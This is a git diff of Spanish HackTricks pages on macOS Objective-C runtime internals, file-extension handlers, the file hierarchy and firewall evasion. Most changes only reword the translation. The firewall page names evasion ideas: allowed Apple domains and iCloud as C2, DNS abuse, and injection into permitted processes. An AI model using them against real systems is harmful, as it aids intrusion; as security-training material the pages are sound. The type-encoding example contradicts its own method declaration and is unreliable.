Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CFRuntimeClass
|
||||
|
||||
Los objetos CF\* provienen de CoreFoundation, que proporciona más de 50 clases de objetos como `CFString`, `CFNumber` o `CFAllocatior`.
|
||||
|
||||
Todas estas clases son instancias de la clase `CFRuntimeClass`, la cual al ser llamada devuelve un índice a la `__CFRuntimeClassTable`. CFRuntimeClass está definida en [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
|
||||
```objectivec
|
||||
// Some comments were added to the original code
|
||||
|
||||
enum { // Version field constants
|
||||
_kCFRuntimeScannedObject = (1UL << 0),
|
||||
_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
|
||||
_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
|
||||
_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
|
||||
};
|
||||
|
||||
typedef struct __CFRuntimeClass {
|
||||
CFIndex version; // This is made a bitwise OR with the relevant previous flags
|
||||
|
||||
const char *className; // must be a pure ASCII string, nul-terminated
|
||||
void (*init)(CFTypeRef cf); // Initializer function
|
||||
CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
|
||||
void (*finalize)(CFTypeRef cf); // Finalizer function
|
||||
Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
|
||||
CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
|
||||
CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
|
||||
CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
|
||||
|
||||
#define CF_RECLAIM_AVAILABLE 1
|
||||
void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
|
||||
// It not null, it's called when the last reference to the object is released
|
||||
|
||||
#define CF_REFCOUNT_AVAILABLE 1
|
||||
// If not null, the following is called when incrementing or decrementing reference count
|
||||
uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
|
||||
// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
|
||||
// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
|
||||
// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
|
||||
// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
|
||||
// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
|
||||
// remember that reference count incrementing/decrementing must be done thread-safely/atomically
|
||||
// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
|
||||
// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
|
||||
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
|
||||
#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
|
||||
// If not 0, allocation of object must be on this boundary
|
||||
uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
|
||||
|
||||
} CFRuntimeClass;
|
||||
```
|
||||
## Objective-C
|
||||
|
||||
### Secciones de memoria utilizadas
|
||||
|
||||
La mayoría de los datos utilizados por el tiempo de ejecución de ObjectiveC cambiarán durante la ejecución, por lo tanto utiliza algunas secciones del segmento **\_\_DATA** en la memoria:
|
||||
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): Referencias de mensajes
|
||||
- **`__objc_ivar`** (`ivar`): Variables de instancia
|
||||
- **`__objc_data`** (`...`): Datos mutables
|
||||
- **`__objc_classrefs`** (`Class`): Referencias de clases
|
||||
- **`__objc_superrefs`** (`Class`): Referencias de superclases
|
||||
- **`__objc_protorefs`** (`protocol_t *`): Referencias de protocolos
|
||||
- **`__objc_selrefs`** (`SEL`): Referencias de selectores
|
||||
- **`__objc_const`** (`...`): Datos de clase `r/o` y otros datos (con suerte) constantes
|
||||
- **`__objc_imageinfo`** (`versión, flags`): Utilizado durante la carga de imagen: Versión actualmente `0`; Las banderas especifican soporte preoptimizado de GC, etc.
|
||||
- **`__objc_protolist`** (`protocol_t *`): Lista de protocolos
|
||||
- **`__objc_nlcatlist`** (`category_t`): Puntero a Categorías No Perezosas definidas en este binario
|
||||
- **`__objc_catlist`** (`category_t`): Puntero a Categorías definidas en este binario
|
||||
- **`__objc_nlclslist`** (`classref_t`): Puntero a clases Objective-C No Perezosas definidas en este binario
|
||||
- **`__objc_classlist`** (`classref_t`): Punteros a todas las clases Objective-C definidas en este binario
|
||||
|
||||
También utiliza algunas secciones en el segmento **`__TEXT`** para almacenar valores constantes si no es posible escribir en esta sección:
|
||||
|
||||
- **`__objc_methname`** (Cadena-C): Nombres de métodos
|
||||
- **`__objc_classname`** (Cadena-C): Nombres de clases
|
||||
- **`__objc_methtype`** (Cadena-C): Tipos de métodos
|
||||
|
||||
### Codificación de tipos
|
||||
|
||||
Objective-C utiliza un cierto enmascaramiento para codificar los tipos de selector y variables de tipos simples y complejos:
|
||||
|
||||
- Los tipos primitivos usan la primera letra del tipo `i` para `int`, `c` para `char`, `l` para `long`... y usa la letra mayúscula en caso de que sea sin signo (`L` para `unsigned Long`).
|
||||
- Otros tipos de datos cuyas letras se utilizan o son especiales, usan otras letras o símbolos como `q` para `long long`, `b` para `bitfields`, `B` para `booleans`, `#` para `classes`, `@` para `id`, `*` para `char pointers`, `^` para `punteros` genéricos y `?` para `indefinido`.
|
||||
- Los arreglos, estructuras y uniones usan `[`, `{` y `(`
|
||||
|
||||
#### Ejemplo de Declaración de Método
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
El selector sería `processString:withOptions:andError:`
|
||||
|
||||
#### Codificación de Tipos
|
||||
|
||||
* `id` se codifica como `@`
|
||||
* `char *` se codifica como `*`
|
||||
|
||||
La codificación completa de tipos para el método es:
|
||||
```less
|
||||
@24@0:8@16*20^@24
|
||||
```
|
||||
#### Desglose Detallado
|
||||
|
||||
1. **Tipo de Retorno (`NSString *`)**: Codificado como `@` con longitud 24
|
||||
2. **`self` (instancia del objeto)**: Codificado como `@`, en el desplazamiento 0
|
||||
3. **`_cmd` (selector)**: Codificado como `:`, en el desplazamiento 8
|
||||
4. **Primer argumento (`char * input`)**: Codificado como `*`, en el desplazamiento 16
|
||||
5. **Segundo argumento (`NSDictionary * options`)**: Codificado como `@`, en el desplazamiento 20
|
||||
6. **Tercer argumento (`NSError ** error`)**: Codificado como `^@`, en el desplazamiento 24
|
||||
|
||||
**Con el selector + la codificación puedes reconstruir el método.**
|
||||
|
||||
### **Clases**
|
||||
|
||||
Las clases en Objective-C son una estructura con propiedades, punteros a métodos... Es posible encontrar la estructura `objc_class` en el [**código fuente**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
|
||||
```objectivec
|
||||
struct objc_class : objc_object {
|
||||
// Class ISA;
|
||||
Class superclass;
|
||||
cache_t cache; // formerly cache pointer and vtable
|
||||
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
|
||||
|
||||
class_rw_t *data() {
|
||||
return bits.data();
|
||||
}
|
||||
void setData(class_rw_t *newData) {
|
||||
bits.setData(newData);
|
||||
}
|
||||
|
||||
void setInfo(uint32_t set) {
|
||||
assert(isFuture() || isRealized());
|
||||
data()->setFlags(set);
|
||||
}
|
||||
[...]
|
||||
```
|
||||
Esta clase utiliza algunos bits del campo isa para indicar información sobre la clase.
|
||||
|
||||
Luego, la estructura tiene un puntero a la estructura `class_ro_t` almacenada en disco que contiene atributos de la clase como su nombre, métodos base, propiedades y variables de instancia.\
|
||||
Durante el tiempo de ejecución, se utiliza una estructura adicional `class_rw_t` que contiene punteros que pueden ser modificados, como métodos, protocolos, propiedades...
|
|
@ -1,20 +1,21 @@
|
|||
# Bypassing Firewalls en macOS
|
||||
# Saltando Firewalls en macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Entrenamiento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Entrenamiento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Técnicas encontradas
|
||||
## Técnicas Encontradas
|
||||
|
||||
Las siguientes técnicas se encontraron funcionando en algunas aplicaciones de firewall de macOS.
|
||||
|
||||
|
@ -32,21 +33,21 @@ Las siguientes técnicas se encontraron funcionando en algunas aplicaciones de f
|
|||
|
||||
### Dominios de Apple conocidos
|
||||
|
||||
El firewall podría permitir conexiones a dominios de Apple conocidos como **`apple.com`** o **`icloud.com`**. Y iCloud podría ser utilizado como un C2.
|
||||
El firewall podría estar permitiendo conexiones a dominios de Apple conocidos como **`apple.com`** o **`icloud.com`**. Y iCloud podría ser utilizado como un C2.
|
||||
|
||||
### Bypass Genérico
|
||||
|
||||
Algunas ideas para intentar evadir firewalls
|
||||
Algunas ideas para intentar saltar firewalls
|
||||
|
||||
### Verificar tráfico permitido
|
||||
|
||||
Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos
|
||||
Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en la lista blanca o qué aplicaciones tienen permiso para acceder a ellos
|
||||
```bash
|
||||
lsof -i TCP -sTCP:ESTABLISHED
|
||||
```
|
||||
### Abusando de DNS
|
||||
|
||||
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, la cual probablemente estará permitida para contactar a los servidores DNS.
|
||||
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, la cual probablemente tenga permiso para contactar a los servidores DNS.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -89,16 +90,17 @@ Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a
|
|||
|
||||
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica el Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica el Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Manejadores de aplicaciones de extensiones de archivos y esquemas de URL de macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Base de datos de LaunchServices
|
||||
|
||||
|
@ -81,16 +82,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
|||
<string>xbl</string>
|
||||
<string>svg</string>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Archivos, Carpetas, Binarios y Memoria de macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Estructura jerárquica de archivos
|
||||
|
||||
|
@ -21,13 +22,13 @@ Otras formas de apoyar a HackTricks:
|
|||
* **/cores**: Si existe, se utiliza para almacenar volcados de núcleo
|
||||
* **/dev**: Todo se trata como un archivo, por lo que es posible ver dispositivos de hardware almacenados aquí.
|
||||
* **/etc**: Archivos de configuración
|
||||
* **/Library**: Se pueden encontrar muchas subcarpetas y archivos relacionados con preferencias, cachés y registros. Existe una carpeta Library en la raíz y en el directorio de cada usuario.
|
||||
* **/private**: No documentado, pero muchas de las carpetas mencionadas son enlaces simbólicos al directorio privado.
|
||||
* **/Library**: Se pueden encontrar muchos subdirectorios y archivos relacionados con preferencias, cachés y registros. Existe una carpeta Library en la raíz y en el directorio de cada usuario.
|
||||
* **/private**: No documentado, pero muchos de los directorios mencionados son enlaces simbólicos al directorio privado.
|
||||
* **/sbin**: Binarios esenciales del sistema (relacionados con la administración)
|
||||
* **/System**: Archivo para hacer funcionar OS X. Deberías encontrar principalmente archivos específicos de Apple aquí (no de terceros).
|
||||
* **/tmp**: Los archivos se eliminan después de 3 días (es un enlace simbólico a /private/tmp)
|
||||
* **/Users**: Directorio de inicio para los usuarios.
|
||||
* **/usr**: Configuración y binarios del sistema
|
||||
* **/usr**: Binarios de configuración y del sistema
|
||||
* **/var**: Archivos de registro
|
||||
* **/Volumes**: Las unidades montadas aparecerán aquí.
|
||||
* **/.vol**: Al ejecutar `stat a.txt` se obtiene algo como `16777223 7545753 -rw-r--r-- 1 nombredeusuario wheel ...` donde el primer número es el número de identificación del volumen donde se encuentra el archivo y el segundo es el número de inodo. Puedes acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753`
|
||||
|
@ -36,7 +37,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
* Las **aplicaciones del sistema** se encuentran en `/System/Applications`
|
||||
* Las aplicaciones **instaladas** suelen estar en `/Applications` o en `~/Applications`
|
||||
* Los **datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y en `~/Library/Application Support` para las aplicaciones que se ejecutan como el usuario.
|
||||
* Los datos de la **aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y en `~/Library/Application Support` para las aplicaciones que se ejecutan como el usuario.
|
||||
* Los **daemons** de aplicaciones de terceros que **necesitan ejecutarse como root** suelen estar ubicados en `/Library/PrivilegedHelperTools/`
|
||||
* Las aplicaciones **sandboxed** se mapean en la carpeta `~/Library/Containers`. Cada aplicación tiene una carpeta con el nombre del ID de paquete de la aplicación (`com.apple.Safari`).
|
||||
* El **núcleo** se encuentra en `/System/Library/Kernels/kernel`
|
||||
|
@ -59,7 +60,7 @@ macOS almacena información como contraseñas en varios lugares:
|
|||
|
||||
## Extensiones Específicas de OS X
|
||||
|
||||
* **`.dmg`**: Los archivos de imagen de disco de Apple son muy frecuentes para los instaladores.
|
||||
* **`.dmg`**: Los archivos de imagen de disco de Apple son muy frecuentes para instaladores.
|
||||
* **`.kext`**: Debe seguir una estructura específica y es la versión de OS X de un controlador (es un paquete).
|
||||
* **`.plist`**: También conocido como lista de propiedades, almacena información en formato XML o binario.
|
||||
* Puede ser XML o binario. Los binarios se pueden leer con:
|
||||
|
@ -70,7 +71,7 @@ macOS almacena información como contraseñas en varios lugares:
|
|||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**: Aplicaciones de Apple que siguen una estructura de directorio (es un paquete).
|
||||
* **`.dylib`**: Bibliotecas dinámicas (como los archivos DLL de Windows)
|
||||
* **`.pkg`**: Son iguales que xar (formato de archivo extensible). El comando installer se puede usar para instalar el contenido de estos archivos.
|
||||
* **`.pkg`**: Son iguales que xar (formato de archivo de archivo extensible). El comando installer se puede usar para instalar el contenido de estos archivos.
|
||||
* **`.DS_Store`**: Este archivo está en cada directorio, guarda los atributos y personalizaciones del directorio.
|
||||
* **`.Spotlight-V100`**: Esta carpeta aparece en el directorio raíz de cada volumen en el sistema.
|
||||
* **`.metadata_never_index`**: Si este archivo está en la raíz de un volumen, Spotlight no indexará ese volumen.
|
||||
|
@ -87,14 +88,14 @@ Un paquete es un **directorio** que **parece un objeto en Finder** (un ejemplo d
|
|||
|
||||
## Caché de Bibliotecas Compartidas Dyld (SLC)
|
||||
|
||||
En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, se **combinan en un solo archivo**, llamado **caché de bibliotecas compartidas dyld**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido.
|
||||
En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, se **combinan en un solo archivo**, llamado la **caché de bibliotecas compartidas dyld**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido.
|
||||
|
||||
Esto se encuentra en macOS en `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` y en versiones antiguas es posible que puedas encontrar la **caché compartida** en **`/System/Library/dyld/`**.\
|
||||
En iOS puedes encontrarlas en **`/System/Library/Caches/com.apple.dyld/`**.
|
||||
|
||||
Al igual que la caché de bibliotecas compartidas dyld, el núcleo y las extensiones de núcleo también se compilan en una caché de núcleo, que se carga en el arranque.
|
||||
Al igual que la caché de bibliotecas compartidas dyld, el núcleo y las extensiones de kernel también se compilan en una caché de kernel, que se carga en el momento del arranque.
|
||||
|
||||
Para extraer las bibliotecas del archivo único de caché de bibliotecas dyld era posible usar el binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) que puede que no funcione en la actualidad, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
Para extraer las bibliotecas de la caché de archivos dylib compartidos único, era posible usar el binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) que puede que no funcione en la actualidad, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
